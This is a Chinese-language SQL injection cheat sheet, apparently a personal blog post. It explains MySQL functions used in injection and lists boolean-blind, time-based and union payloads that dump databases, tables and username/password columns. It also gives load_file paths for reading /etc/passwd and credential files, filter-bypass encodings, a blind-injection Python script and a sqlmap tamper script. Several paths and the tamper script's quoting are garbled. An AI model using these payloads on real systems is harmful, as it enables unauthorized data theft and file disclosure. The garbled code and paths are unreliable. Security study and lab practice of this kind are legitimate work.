SQL注入小结 相关函数/字段 各种payload 常见绕过方式 二分法python脚本 tamper脚本
union和union all
union和union all都是联合查询,用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中,区别在于union会去除重复的结果,union all不会。
要注意的是前后两个select语句中的列数必须一致
比较简单,不说了。
group_concat和concat
concat函数用于将多个字符串连接到一起形成一个字符串,效果如下:
length()
返回字符串长度
mid()
SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
语法:
select mid(payload, Start , Length]) from TableName //开始时start是1
left()
left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
用法:
left(str,length);
substr()
同mid(),但mid()只适用于mysql,substr()支持的数据库较多。
ascii()
ascii函数用来返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。这个函数可以和substr函数配合来使用猜测一个字符。
sleep()
sleep函数可以让sql执行的时候暂停一段时间,函数的返回结果为0.
if(expr1,expr2,expr3)
语法如下:
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
count()
count函数是用来统计表中或数组中记录的一个函数,下面我来介绍在MySQL中count函数用法与性能比较吧。count(*) 它返回检索行的数目, 不论其是否包含 NULL值。
floor()
向下取整 floor(2.5) == 2
load_file()
load_file()可以用来读取文件,此函数的执行必须使用dba权限或者root权限。
需要注意的是:
mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
- ure_file_priv的值为null ,表示限制mysqld 不允许导入,导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入,导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入,导出做限制
如何查看secure-file-priv参数的值:
show global variables like '%secure%';
#load_file()
常用路径:
1 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 2 replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 < 替换成”空格” 返回的是网页.而无法查看到代码. 4 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 5 /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件 6 c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf查看WINDOWS系统apache文件 7 c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息. 8 c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 9 d:APACHEApache2confhttpd.conf 10 C:Program Filesmysqlmy.ini 11 ../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径 12 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件 13 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 14 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 15 /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看 16 /etc/sysconfig/iptables 本机防火墙策略 17 usr/local/app/php5 b/php.ini PHP 的相当设置 18 /etc/my.cnf MYSQL的配置文件 19 /etc/redhat-release 红帽子的系统版本 20 C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码 21 /etc/sysconfig/network-scripts/ifcfg-eth0 查看IP. 22 /usr/local/app/php5 b/php.ini //PHP相关设置 23 /usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置 24 C:Program FilesRhinoSoft.comServ-UServUDaemon.ini 25 c:windowsmy.ini 26 c:oot.ini
into outfile()
into outfile()函数可以将字符串写入文件,此函数的执行也需要很大的权限,并且目标目录可写
order by
order by一般用来查列数,
select * from student order by n //按n列排序查询结果,如果没有第n列,就会报错,从而起到查列数的目的
benchmark()
语法:
benchmark(count,expr),重复expr函数count次,我们可以利用一些MySql自带的加密函数作为expr执行多次达到睡眠的效果。具体执行次数可以根据CPU来进行变动。
select * from student where id=1 and if(true,benchmark(10000000,sha(1)),null);
case when xx then xx else xx end
可以看作if函数的另一种形式
like
详细语法:http://www.runoob.com/mysql/mysql-like-clause.html
limit 和offset
1.select* from article LIMIT 1,3 //跳过一条,取3条数据 2.select * from article LIMIT 3 OFFSET 1 //当 limit和offset组合使用的时候,limit后面只能有一个参数,表示要取的的数量,offset表示要跳过的数量
所以以上两条数据都表示取2.3.4共三条数据。
系统函数
version() #MySQL版本 user() #数据库用户名 database() #数据库名 @@datadir #数据库路径 @@version_compile_os #操作系统版本
from xx for xx
前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。
各种payload
布尔盲注
payload:
admin'and left((select database() limit 0,1),1)='s'# admin' and ascii(substr((要注入的语句),0,1))=102# admin' and ord(mid((select username from security.users limit 0,1),1,1))=68# admin’ and ((要注入的语句) regexp ‘^se’ limit 0,1)#
延时盲注
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)# ?id=1' union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#
?id=1' and if(true,benchmark(10000000,sha(1)),null)
?id=' or (case when ascii(mid((select * from flag limit 1 offset 0)from({})for(1)))>{} then sleep(3) else 'b' end)='a
简短的整理
order by --+ 判断字段数目 union select --+ 联合查询收集信息 id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名 id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名 id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值
常见绕过方式
hex编码
SELECT password FROM Users WHERE username = 0x61646D696E //admin
char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html实体字符编码
SELECT FROM Users WHERE username = 'admin'
%2527
这里主要是因为绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。
表名等关键字被过滤
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
Mysql字符编码利用技巧
详见https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
隐式类型转换
这里先上几个图,自行体会精神
这里为什么我们输入为什么name=0会导致返回数据呢?其实这里跟php弱类型有异曲同工之妙,mysql在比较一个整数和一个字符串也会强制把字符串转化为整数进行比较,并返回一个warning,所以这里
pupil
admin
都会被转换为0所以与0比较相等,那么我们进一步猜想那一个非0开头的字符串强制转化是什么呢
由此可见,与PHP一样,mysql也会把字符串强制转化为开头的数字,若开头是字母则强制转化为0,那我们怎么利用这一黑魔法呢,众所周知,mysql一般都是字符型注入,很少有数字型注入的,就像where username='input'
这样,我们单纯的输入数字是会被转化成字符串的,就像这样
这时候我们就需要做一些操作来构造注入点了,比如利用算术运算符
+,-,*,/,%
又或者位操作符
&,|,^
下面我们以+
为例进行演示
二分法python脚本
import requests url = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select database()),{_},1))>{__} %23" #注意一下这里使用>去作为判断条件 database = '' for i in range(1,15): #这个地方可能会有些问题,数据库长度未知的时候过长会出现重复字母到时候自行删除即可 min = 65 max = 122 while abs(max - min) > 1: mid = (max + min)//2 payload = url.format(_=i,__ = mid) ans = requests.get(payload) print payload if 'You are in...........' in ans.content: min = mid else: max = mid database += chr(max) print database
tamper脚本
sqlmap确实是神器,但是它也有弊端,不能解决所有问题,实战中会遇到各种各样的不同的sql注入,这样有时需要写自定义的tamper。
先写个例子吧。
json编码:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): data = '''{"admin_user":"admin%s","admin_pass":65};''' payload = payload.lower() payload = payload.replace('u', 'u0075') payload = payload.replace('o', 'u006f') payload = payload.replace('i', 'u0069') payload = payload.replace(''', 'u0027') payload = payload.replace('"', 'u0022') payload = payload.replace(' ', 'u0020') payload = payload.replace('s', 'u0073') payload = payload.replace('#', 'u0023') payload = payload.replace('>', 'u003e') payload = payload.replace('<', 'u003c') payload = payload.replace('-', 'u002d') payload = payload.replace('=', 'u003d') return data % payload
不想写了,可以参考这篇:https://www.smi1e.top/sqlmap-tamper%e7%bc%96%e5%86%99/